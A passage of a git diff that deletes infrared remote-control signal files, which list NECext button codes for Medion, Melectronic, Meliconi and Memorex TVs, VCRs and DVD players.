00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1D 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1F 00 00 00 -# -name: sh_0 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 40 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 42 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 44 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 49 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 4C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 4D 00 00 00 -# -name: sh_-/-- -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 4F 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 50 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 51 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 52 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 53 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 54 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 55 00 00 00 -# -name: sh_av -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 58 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 59 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 5A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 5C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 17 69 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir deleted file mode 100644 index a3adbd88e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 02 00 00 00 -# -name: u3 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 03 00 00 00 -# -name: u1 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 04 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 11 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 13 00 00 00 -# -name: u2 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 17 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1D 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 42 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 44 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 49 00 00 00 -# -name: pink -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 4C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 4D 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 50 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 51 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 52 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 53 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 54 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 55 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 59 00 00 00 -# -name: einbl -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 5A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 5C 00 00 00 -# -name: u4 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir deleted file mode 100644 index e6bbb436a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 09 00 00 00 -# -name: CannelTracking+ -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0B 00 00 00 -# -name: TimerRec -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0D 00 00 00 -# -name: AudioSelect -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0E 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 13 00 00 00 -# -name: Index -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 16 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 17 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 18 00 00 00 -# -name: FastReturn -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 19 00 00 00 -# -name: Pause/Still -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1A 00 00 00 -# -name: ShowView/Program -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1D 00 00 00 -# -name: SpeedSP/LP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 45 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 47 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4A 00 00 00 -# -name: ZeroReturn -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4B 00 00 00 -# -name: CounterReset -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 50 00 00 00 -# -name: Clock/Counter -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 51 00 00 00 -# -name: ATR -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 52 00 00 00 -# -name: Call -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir deleted file mode 100644 index 2a3b706b0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir deleted file mode 100644 index d9e5bfc21..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: gainup -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: gaindown -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: brightdown -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: brightup -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: contrastdown -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: contrastup -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: tvav -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: on -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: one -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: two -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: three -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: four -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: five -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: six -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: seven -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: eight -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: nine -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: zero -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: ten -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: twenty -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir deleted file mode 100644 index bd01c22da..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_1-/-- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: No_Vol -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_2- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: TV3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: TV1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: TV2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir deleted file mode 100644 index 88e0a7f54..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: S/REWIND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: S/AV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: S/PLAY -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: S/MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: S/FORWARD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: S/P+ -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: S/P- -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: S/STOP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_2- -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: S/VOL- -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: S/VOL+ -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: S/OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: KEY_1-/-- -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: S/MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: S/PAUSE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: S/F1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: S/F2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: S/F3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: S/F4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: TVf4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir deleted file mode 100644 index 58c412f38..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir deleted file mode 100644 index 8cc851d45..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir deleted file mode 100644 index a3c7d3ef2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 80 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 81 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 82 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 83 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 88 00 00 00 -# -name: 0 -type: parsed 